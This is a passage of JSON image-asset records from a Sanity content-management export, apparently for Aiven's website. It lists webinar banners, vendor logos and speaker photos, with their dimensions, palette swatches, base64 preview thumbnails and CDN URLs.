fUPkQsSF8opExGBSM1inarAUOmgpozbO0WUroLBX0tnk6DtVw99UYds8z2L/E0PG7hOVXKPm/yJbfk8v/yQWpxWZIQdDqTuGwqHT3FLB2z6G3FTHaS1g6y7R3VLF21fB5iszFpllVJmmkC+RSN0hP/k62/Dez5/9lsviesPiaiP9bhH0aGY1eQWfKojHnOWA8i9Y0szfUWqrYOqvI3rOsfabyoprk9cIEdyorFEvbFOb/obr0H9OVj3jFXVy+Xf4HI5SSD20ox5AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4475","foreground":"#fff","population":1.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04247c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ba5d40","foreground":"#fff","population":6.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a9d4","foreground":"#000","population":1.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c62e4","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#485da7","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba5d40","foreground":"#fff","population":6.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven Google Vidio Event.png","path":"images/sczeoy4w/production/5cc2ee9bc23f62a5859ef312842684078fead03d-1200x628.png","sha1hash":"5cc2ee9bc23f62a5859ef312842684078fead03d","size":209269,"uploadId":"lTREIukI4Ny3KxZeBfMp8804b8t7qrVv","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cc2ee9bc23f62a5859ef312842684078fead03d-1200x628.png"} {"_createdAt":"2023-05-26T12:04:56Z","_id":"image-fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d-51x51-svg","_rev":"3YxqQWUIXkU9Q9rCEhTNQP","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:04:56Z","assetId":"fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":51,"width":51},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADVUlEQVQ4jYVUW4iVVRTeh2Q07KKYIxWZ59sz59vHoQeRQomIoAtBT1HQSz6kBF6CwhuCWAoRRRd6iugp6CWiEgvpQtqFUhElNERfVNDG8+3TjDU6OuM458Ta/zqNbz0s2P/61//939rft1a4UG8ERYb2EoYcWRM4X+DDAncJ3CfwT4FXBV4R0jmB3wt8VeBDAucpspbRDAJDKzZCyGAYxaAlZgkcEPiiwM8EnhJ4UeCkwOkq0qTnTgr8VOALiqwrNmadw1AhFkYaqQc2JHCHwKMCLwvsZqRujjeG5di1dwIvCTwscJtACrwpDzCEVp0GWBe4XeAJgddyZCfH1FFkR7gxLJf8XbLcpMBjArcIXCw0goHdKnCVwEMCpxRTV0jOojDrFKb2XM7/MezVXRP4q8DnBM41wOUCPxb4j/8xCxz25+sGZkyNdfUDXlfk317T9m/sXj8SeJ8BviTw90rFwvIdgTsFfmOgBXBGFDtfVOTXAl8T+J7AI/6t3ecaA/zEWGVQGXzDL9jUfr3ko7VahQkj8IKLV3ch3xX4lzP+0AAPChzP4NkMbsjgXIG3CXxZ4HEhtYXUymCrOpdu1mqmbpPA84ocU+QPwT01kSNPK3K9F90s8BGBW4W0S0g7cjGznbnZTT1bSPNyTBtzLIa3to8Gt8pEBs8IXJdN9XuTmfQWgf1CWpSR+rOfBS5UNHZNG4rbM/iKwB7gYQP8yU16vmLERao3ahbtgaUhx2bIMYU8kEI7pjAam0F11rSkYWN6l99nSyjK7zXADxxsTOAXAlcLfNTbWiHwfreWxQMCV/q7x3xMv/LJOivwbQN8XuBvbtCRSgj+LPBbL/5S4Oceu4Vime8E/iLwD4Gj7sUfBT4T3Cbvu6HNFh333ZT/xIonPCY9N+U1Hf/GrPSWWckA5wh8yo087ovA5rX7P1FqVN3/HoGPZ7AvtLDUQPvN5d7GeLVpyqhNK/ampEzKdI4leswuC9zvu2CBFjeDLdUgFMXudkH2umpTZTrKYvDlMBPWsrVpd2xgdzpGKEtxeOWKHuhCgU+aWm4n86YJZW1Z2Pm0s3pT4BMC7xBYm172YNnaxWdyn+mesrlnC4wCn3VgY3HAnWB3ZUBP+yz3DQ8Omi8LWEYK/wLr6M3ET3q9kAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e2c22","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#830e0e","foreground":"#fff","population":2.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e82228","foreground":"#fff","population":17.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a0e12","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2868a","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88454c","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e82228","foreground":"#fff","population":17.69,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-couchbase.svg","path":"images/sczeoy4w/production/fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d-51x51.svg","sha1hash":"fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d","size":699,"uploadId":"dhr4SIaJSjClkUAFNvbQHiKrq9n5Ckym","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d-51x51.svg"} {"_createdAt":"2023-05-26T11:50:35Z","_id":"image-04c644aeff1269377c7e1532ac83ae6f10802f2a-51x45-svg","_rev":"Bg5HPBiLdZofLBzDE6emdy","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T11:50:35Z","assetId":"04c644aeff1269377c7e1532ac83ae6f10802f2a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1333333333333333,"height":45,"width":51},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEZ0lEQVQ4jX3PW4hVVRgH8FWa3QghpCAI6iGCiPLFJ6HZe11GzUukhAqa2UsP0U1E6uxxxtnrMsdx0mE0RVEyBhy839KRSpBCrcAeCgpqzpkZZ6yZfc4+t30ue59z/L7Yc+bBfOjhx4L1/b/1fYvQZJNQ0yDMzJxPUNNYT03zBjXNiPY0kfU0gf4XUtOsU9P8mZrGJmoa87luEmYaxNrZJISaOqEyR6iJHqSmsZCaxiFqGh41DWD/g5qGT03jKDX1RbaJ5rymo5m3CDPR7IbRAmbqHzBT/4OZOtwD73Nv7S9moq1MR0/TnviHdULae5EwHT7EdNjGdHSOmajCTITMRMB0BDSmZumZu1atlakxHV1mOhRMh/MWT9wgZMErgjBde5bpcAfT4TjTIXITAtMhiJ4QVvaFsHYgwtiqvtZdXIsz3ITIdHiH6ZphuvY8680SwnX1YaarbzBdvcZ0LeKmhkzXYGmyhm/vD6HjRIi7LrZsPxHipgMhLN3ZysRZrmt1pqvXma6+xXT1UcJ05SWmKwNMVz2uq8h0FYSpwoYvapA8X8O9w2WUJwsz9g4H2HshHtTKxFne6vGZrhxkqrKQMFXewnT5FteVJtcVoKoCy3sr+NlQDfYNB7jlyyxuGpjGjf3T+OHhDA5cLqEzVIYVvQFSVYa4h+vKXabLvzJVdghXwUWugixXAXIdAJUBrNldhp5zVdx9oYAfHfZw21cZ/PhIBjfvncKe0zlMni3gmr4c2G4R4p6ZXhXkuQquEq5KJ7gqTXNVQqFLQGUJVu8OwJyt4IErRUye8fHz8znUp3xMDGaw/2IO9Ukf30xOgdWVAa4KEPdyVcpyVbpEuCq+y1XxB66KdaGLyFURlidLuHWwDEeuBrh/OI87z/hoTmVx36UcDn1fxM5jGVjmTmBbxySwbg+5zDe4Kv7EVel9wlXhOa4KmqvCpFAFjCcKVYB1/UVwTwVw6JsiHriSx/2Xczh4rYBnbpYgeToLq3smwHLGwd4+gXTH9BR3c31cFV8gXBbmcplnXOa/5ipfFSofT4QlOo9r9xTgk6N57D7u444hD7cdncLOY9Mgj3u4cc8k2B2j2OaMhXbH7W9p1z+vC1WYR7j0CJf5p7jMbeEy96eQORAqB7x14jLjw6rkNK7UE9jeNQor5Biu23UbVqkxsJ00tCXSacsZTVjO2DOvrj9LSLvOEi5zc7j0FwnpDwrpF4X0UUgfYlz6QLs9sDvvgOWMgZVIgeWkwHZSaDmpwEqkTlpOerHVMTZXdI8TImSWCJkhQvrzhcy+I2T2FyGzd4XMYqx9lnA9ZF2TSDtG0UqMxMBKjPxmJ1Lv2U76SevT34ntpAgRbpYsUVNEuP4Dws28KNxMr5CZESEzpVnBDDcTiO6pgHVOBLaTKtmJkVE7MdJvJ0Zepk76wcc3fEfsxAghm8l1IqRHlrjxo94jwvVs4XoHhevdFK536368++9bbPv4j9RJH7GdVLvtpB6LN7OdNLE7UuRfu6eH3Z5JEkUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c64","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f2e7e","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4c83f5","foreground":"#fff","population":9.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#083490","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c83f5","foreground":"#fff","population":9.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#3c546c","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4182fc","foreground":"#fff","population":8.76,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gcp-bigquery.svg","path":"images/sczeoy4w/production/04c644aeff1269377c7e1532ac83ae6f10802f2a-51x45.svg","sha1hash":"04c644aeff1269377c7e1532ac83ae6f10802f2a","size":1434,"uploadId":"4SF0h6Ck1iOeoUHOUWCK1P42bqO19kzK","url":"https://cdn.sanity.io/images/sczeoy4w/production/04c644aeff1269377c7e1532ac83ae6f10802f2a-51x45.svg"} {"_createdAt":"2023-05-10T08:39:30Z","_id":"image-ed7314d9fcb53ab3432fe7e315e015f81936552c-253x256-png","_rev":"QpIjbIkE1ssA0KivVn9kUm","_type":"sanity.imageAsset","_updatedAt":"2023-05-10T08:39:30Z","assetId":"ed7314d9fcb53ab3432fe7e315e015f81936552c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLB:XEoL00xb~WR3ofyFadMvX9WBVra{bwI=ayw[bHSiIoj[%3ayNF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.98828125,"height":256,"width":253},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFI0lEQVQ4jU3RW0yb5x3H8fdyCTg+G7s4hJoRCCdjgyEcfD7bgI3x67PBBjtAILiQlNJpW5dmmtqtVaRGbbOoQ6WNularokHVRorEVqUlwEqjSdO0ade76EXXk3b/nfx2k3bx0/Por//zeU6CZWwG67jIoCPNkCuDzZlhwJGi3y7SOxqnw+Kltd1Ci6kL04UhOmwhuscSdI8l6RkXpdTnF0YSdAzHEf4HXfTkGfEWpNHmymJxiFhHwjgujjFpHybpHiVqH2FoyEnPyBQ99hS9jjR9jgy99jTdYyIXRmcQ6sCor4g9WMIRKjMemOOir8CAYwaf08czmTB3t8rs/fwKb2wUmJ/0YxuLSJjZnaPfncfsytPryNI9nkaoQ67wPN5oFd9EFXdkgbHgHBddCUS/h9eWZzi6+TR/feN5/vDiGjdKcXzeCcyuDP3eIlbfLBbvLH3uAj3OHIInWsE/uUg4fpnI9ArB2BKu6AL+gMiliQCvVuM8uL7Mwa+u8sGPK7xUSSBOTmPz5bH6SwwE5qX0e+fo8xQRArElCYqJa0ynakwmrxCMLSJO5XguH+fd9Rz71y9z8MIG+zdW2FkvspTOMB6aZSC4gC1cZTBUxRqYx+wrIUQTq8TEGsnsBun8VWay60RnVhCn53i+lGZ3q8z+c8t8fGONRy/UeHerymK2yFikLGHD0UWGIosMhKpY/PMIU6kaM9kNssWnyc9tki5cJZJcJThZZjmV4s7lNO/X8uxulNh7dp6bK0US0wUGQ2VskUsMTywxHF1iMHwJa7CCMJ1ZR8xfIzu7SW5uEzG3TjBxGXukTDya5Ke5Kd5aEnl/rcD2SpqnciLOcB6zv4w1VMEWWZTyPVhFiGfWSWQ3SObq191gKrWGe/ISNk8OjztGbTrCa5UEO6sZblaSlGbS2LxZuj1FzPXPCFawhCrSWI8QFWtMpGpMiDVCiRXc0QWs4wnO97lxjvjZSsW5s5TizdUst65UWSws0z8ao9UaomNcpMtbpMdfpjewQG/9DQOJVfzxZZyReYacIl0WH82tZpoMHThsPn5RqbD3k1X2rj/D9s9e5qnlG5itQbTGbgztw5yzBGkfTdLpLtDlLSE4JxcZcmfoNHtoMQ3QZOhEqTyLVmvC60jy8uaLPHjlVe6/fpedWx+xee3XDNomUGtMqLRtaJu70bcNca4/SLs9gzAcKHG+z4NOfx6VuhW12oRC0YLB0Ek8vsrtWx/x4W8PuH/vMXu7/+CXL/0ehyuNruk8Ko3pe1hjQtdi5pw1gtBnT2NsG5ROpVSclRqUylaajT3ki1u8896febD/T/748AseHv2LO9sfEwjN0WS4gEbbhkbqP4tK14a+YxShfTCKrrkLhdyAQt6MWt2KStWK0djLbOlH3Pvgbxx89h2PTr6V8pudTwhGyujroMaERt2KQv4EckUzKkMHwtkuByrtk5xp1CE/o0elbPk/8Fl2P/w7x4//zfHj7zg8+Ybttz4hXAf1nahV51ApjMhlOmSNWmTyJgSdaQC50oisQSOh9d3qqNHYTb5wjXu7f+Hw5FuOTr7h+ORrdt5+SDhSQt/UjlLRjEKml9Y2nlbR0KBCUBl7kMn1UqHxtJozMh1KeTNPGDoRU1d473ef8+j4a47+9BVHx1+yvb1PIJBDp3lSws40amk8raThlILTp+QICkMHjTKdVKhH1qCWrq5v+iGxWJW37x5ycPgVjw6/5NNPv+D27ft4XCIaVYuE1fsb/4ud+oGM/wCciQLoaBgsUwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c55","foreground":"#fff","population":6.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c3955","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c55","foreground":"#fff","population":6.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aea9d4","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb6a5","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86d55","foreground":"#fff","population":2.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd9178","foreground":"#000","population":5.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"michael zimberg 2023.jpg.png","path":"images/sczeoy4w/production/ed7314d9fcb53ab3432fe7e315e015f81936552c-253x256.png","sha1hash":"ed7314d9fcb53ab3432fe7e315e015f81936552c","size":95042,"uploadId":"qky3YHG1haPN6ZOmoWJ0Wsk10LTPwgC4","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed7314d9fcb53ab3432fe7e315e015f81936552c-253x256.png"} {"_createdAt":"2023-05-15T15:43:12Z","_id":"image-e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3-2500x1308-png","_rev":"rmwlP4nleGzuGoL3Vvt0l2","_type":"sanity.imageAsset","_updatedAt":"2023-05-15T15:43:12Z","assetId":"e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46[CH^oI8$yxB%%o#InNHNK4oM{xuRnM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZklEQVQokT2Sa0/aABiF+w+WiIqUFqRSSoECBQURxU2H93mdusQ5pyNe5mVT1AwdIFV0uk2z/eFnaTH7cHK+PTnnvK/wwr1Eu7RCV/cansAHPMoW3uA2kvoZb/AQj3JEl3KMp+cMUb1A0qpIWg1v6AJRrSCql4ihKqLaktAmLqPGtkjlDknlvpLOl8kWvpEpXNI3VMUcqGFkasSzFoncLcmBe8z8A8mBO0LmFXLYhtfxhmyvIdjpzP59JmarTM7VmZhtMLVwy+T8HVMLD0wt/mZ87pHx+T+8fvOXfPGJ3OgjuZGfxDJN/NEbpLCta8eFDnmVWHqX4eI5L8cvKBQvKRSrDBWvKIxdMzL9g9GZX4zOPDFY/I2RvUNNNlCMKv5IDVm/QdabjnyRewSXuIyibxBL7xAx9wgnD9DNL+ipMnrqjEi64lTuzVuYuRs008KnXyIGz/EEK62q2hWSZiHrtwgd0gp9mY+Mje5g9u2gGnuEEkeEkydoyVMC0VOi6QpTk3Wmp69J55vo6QaaWaPHqOLTW0eSbGjYQujyrzI2ssX60i6DQ7toiX0nYbT3lEj6nB7jnGS2wtpKnferFgOvmsT7myRyN0T7LIIJi0DMTtdoAdvFt5jGO4ZzG0QTW8hqCUndQQ7t49OOkELHBCInpDJlUtkyaryCErPT1VGMugPzRy3ksF27geByL6D6Fonr62jGNlKwRLu8iUsu0eHbo7P7gM7uo2c/wK2cPG9XdfaTwg2nrlerOzsKbe55AtICmrpGMFJC7PmES9rEJZVo9+3S4W8BbbflVsqI6vfW7zmgxn+3L/0P7s9moqnax9IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434a7e","foreground":"#fff","population":1.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e70","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#434a7e","foreground":"#fff","population":1.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95bf","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4ac97","foreground":"#000","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6745e","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be4146","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"What's_new_with_Aiven_webinar_1200x628_social_media2 (1).png","path":"images/sczeoy4w/production/e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3-2500x1308.png","sha1hash":"e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3","size":424607,"uploadId":"EO7Qud4jTVainfZvcLeomKQVBqhVo2uj","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3-2500x1308.png"} {"_createdAt":"2023-05-10T08:48:27Z","_id":"image-7cd21ca45d847299785ffdab811e25b1f89bd706-512x512-png","_rev":"QpIjbIkE1ssA0KivVnEJ0G","_type":"sanity.imageAsset","_updatedAt":"2023-05-10T08:48:27Z","assetId":"7cd21ca45d847299785ffdab811e25b1f89bd706","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejJ@@0sn*0S4xG~WoJo~kCn%4.WXMxoKs:xuWBoga#oLxvj[ofofRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEwklEQVQ4jSXNe1SSBwAF8C9YyxCnqb3XKV+o29lpWx2XZjk7ZqaWK0s+55qkhiEEoaaBrnzCRuIDTTKN8kis2cte9tARIqaoCPLmI/CBICD4qsz9t4Oec8/973cvIBQregeVfcNqsQzqEkrKK6oykhL/xCQ9uYoT1RZKGihdlRfo2NR8Irnt/oteia5XohMMqv/tV3S/kwOiIdWqFMsg3sPOPAKRfi5FwMzV8Kqh9kYdlzlUX3QnP6Mg62xdfQt/QDkgN4pGoJ4hDX9ACfSPaMUyaEQ1NiDVXW9qvYg50158zvg3Y/o1z9L1aLzjjorDeFZGKs8+W1lKfykYGlZPihVjfVK9cFgLDMrfS5RGBTQ1OKqvv36rMCv9WQVR2XpNca9Z+/iutv22qKGSSyGUZWeVFpU9fdMn1U5JNKYBufGd7D0gVY+PaifVhmmpaqy5hUvNzuQUYv8pyeNQc+9XFHfQr7CI2ALwJAENXqGUPu/ul+uto9D06j8g15mUerN23K7SmR7xHtDw2Grcb2xSVi0hq4mc05yHp2WkUdAnyOiU8qKyN4Ih9diM0miXQRaJxgQo9WaN0ao3OSGDRfT46b1i8gPq+S5GEb+mgs8s76T9wSu40JaHq8nB1pTQ3vYMQ5Oz2gmnwmCTQRZAY7RCEzNG89y4yaHq6RXVlYurLmlvV0HcJmkz6yXtKq+A2FFM5uSTmujM/v5Ro2VePzWnHncoDDYAmpgxTM1OWBfMtsUxpVbCvTlYc1nZXDnSUieovXa38FJDdmYrOftmHr6tgT2qNJjsH4yWBcjk8oBLTi+Y7R+sziWL2aF42y2oLxXWXO5hVfAZtA4q5RYey8Zj6sg5Hbx77yesFufnSdvHFT8PrMiPVufSzPyyc2EZksuf1dMelRFFbLqU09jHqn5SQmGTsPXFlF6+0DKzaJ1bNjtW/SJgtn+wOZcc88uO+c/TVqdqoPfhtaIb5PQOBrW/lS1sbuSVUCpxmTeYTJVSN7u47Fj4b8UvTdo+Albnp2nHJ6PJKRRr29s7X3JYrxgkNhH8C5fGysfXkHMK0k6nH0u4RC64//iVQjthsS/OzC/bZl0e0I3Z+e80LE5nOqkuPjn3CoHwhpnbScezCL8Wgsey4g+hoyOOR0b8HB4Vl5iWR2VyH3SLZQbj1JzFsQTUtjzHXGT9GEveuhuz8Rtwf/TvZaSLL6qpLxj5TbmYy2B8ZlzUqYMRuwNDvX0Ct/sfCI/JOJfLbOK+FgxCwJ4jpB17MJ4oNDLIFd9QcG9UOu4soY6Sf5NKop8/g0s6Ghf2k992lBvSH4781s1336aA+LDD588QqwDvUNAzGPQIBpEo0H3FbwhB7/wBDItKSziadvxwcuTeaL+d3yM3hMK/+g7utQfuve8Ln8j1Ww/5BB0DvEJSPUNSPYJBBApEBIGIIDQiMMUt4BTC/xcvvwTvnTGeWyPX+YbBN4TBvMNh3vthPgfgvgdXEgl4oNAeqJVbVKp7cCoCBa4PQq8PTHHzP7lu1/G1O+LXbjsC3xID33QItjEatnG1o2AuHAEgAk4hg1zeIzgVGQK6B7sm3F0Tp9cFJH/pd2LtriT414mwbXGwLbHwLbGwzTFrNkev2RQF8wn/H1qwj4Yq9H5mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3734","foreground":"#fff","population":4.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f50","foreground":"#fff","population":4.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#daa38b","foreground":"#000","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3ccd8","foreground":"#000","population":5.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b88d","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e705e","foreground":"#fff","population":4.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#daa38b","foreground":"#000","population":6.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jonah-kowall.png","path":"images/sczeoy4w/production/7cd21ca45d847299785ffdab811e25b1f89bd706-512x512.png","sha1hash":"7cd21ca45d847299785ffdab811e25b1f89bd706","size":358864,"uploadId":"rOX2DnAhUEtt1JkvPldtNU2LQ4V5aNAW","url":"https://cdn.sanity.io/images/sczeoy4w/production/7cd21ca45d847299785ffdab811e25b1f89bd706-512x512.png"} {"_createdAt":"2023-05-12T14:29:30Z","_id":"image-cc4e0471959e9d1d9922337d9e1bf407602296ad-5000x2617-png","_rev":"FjimNW4iKeGYYYSdeD578S","_type":"sanity.imageAsset","_updatedAt":"2023-05-12T14:29:30Z","assetId":"cc4e0471959e9d1d9922337d9e1bf407602296ad","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47d@p-I9DROD%.ARkRix]oz9Ft7xtM}jX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9105846388995031,"height":2617,"width":5000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAC4jAAAuIwF4pT92AAACrUlEQVQokSXR6U/aABzGcf6DJV4oLVQotLWlRSpyCIJyeOtQptMsOpc4XbzwmgesHAXxiM5Md2TZ/tTm9yzTF9887z5vHlubYxGcsAYpsIm+4DZkfQ9SfxEeZR8usQhOOoLHfw6v9gW8VgWvmfCoJtz+Ctx+A25/FZxcAyNU4PBVYLNzywiEt5EaO8PoRAmjEwaSYxUkslUksiaS4y1kpu+QnX1AZuYR6ZnvSI5/QyJ3j9TEA4bHHqHF7uCSTTBi/QUMRnaQnjhHbsbA+FwduRkTudlLTM7fYvbNA+aWnjC7+AP55d/IL//B5PxP5OYeMVX4hanCX0TST3CrV3DJN7C1M4vg5Q/QBrcRjBYRip9gIH6KUKKEcLKCWLqBeOYKQ5kbxLP3iIzeIRhvIRBtQI9fIZT8CiV8C05pvYBtPQXw4gqUwDoEdRM+dRuCto++4CFCsWNEEucIRA34w3Uo4SYk3YQaMjAQKUHWDfj6TfgCDfQqDTj7LmHrYArQgyuIx9ahBLcgaDvPoBo6wNTUKfL5MmKpKgJRE1q0CTXSxGjOxMLrGobTDfQPXUOL3UDUW+CUS9jaHQVS5LekB9dI8G+QW/5EXv8uqYNHNJI9o3TugrRwibxaiXi1TF7NID1WoeERg/ShOsmhFkkDLeK1JrnkJtna7fPgXQVI4ip4eQOcuIn+6Amy001EUgaEwGewwiG6PUXY3UV08ydghQu4pDKckgFnXx2sVAMrVsH+f7nDnifeuUCSuEpe+SNx4iaFEmc0XbihSKpKbuWEevgD6uR2qZPbI7vnmHp8ZXL4KsQIVWLEOjFi7XlZqUm2V13zVkf3gtXJLFmdzndWh/O9xXq3LN5ftFxS0XLwRavbc2B19e5ZXb37Vg9/ajFCxWLF+nOMWHuOlRqWS762/gE2pW4LxaOxbQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292d59","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":13.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":13.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7ad9e","foreground":"#000","population":0.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4daee","foreground":"#000","population":5.64,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7e68","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74a4a","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cost_Optimization_Fireside_chat_1200x628_social_media (2).png","path":"images/sczeoy4w/production/cc4e0471959e9d1d9922337d9e1bf407602296ad-5000x2617.png","sha1hash":"cc4e0471959e9d1d9922337d9e1bf407602296ad","size":1192812,"uploadId":"lJcY5g6NOdnOEm11xXf72unNvMDhHmyL","url":"https://cdn.sanity.io/images/sczeoy4w/production/cc4e0471959e9d1d9922337d9e1bf407602296ad-5000x2617.png"} 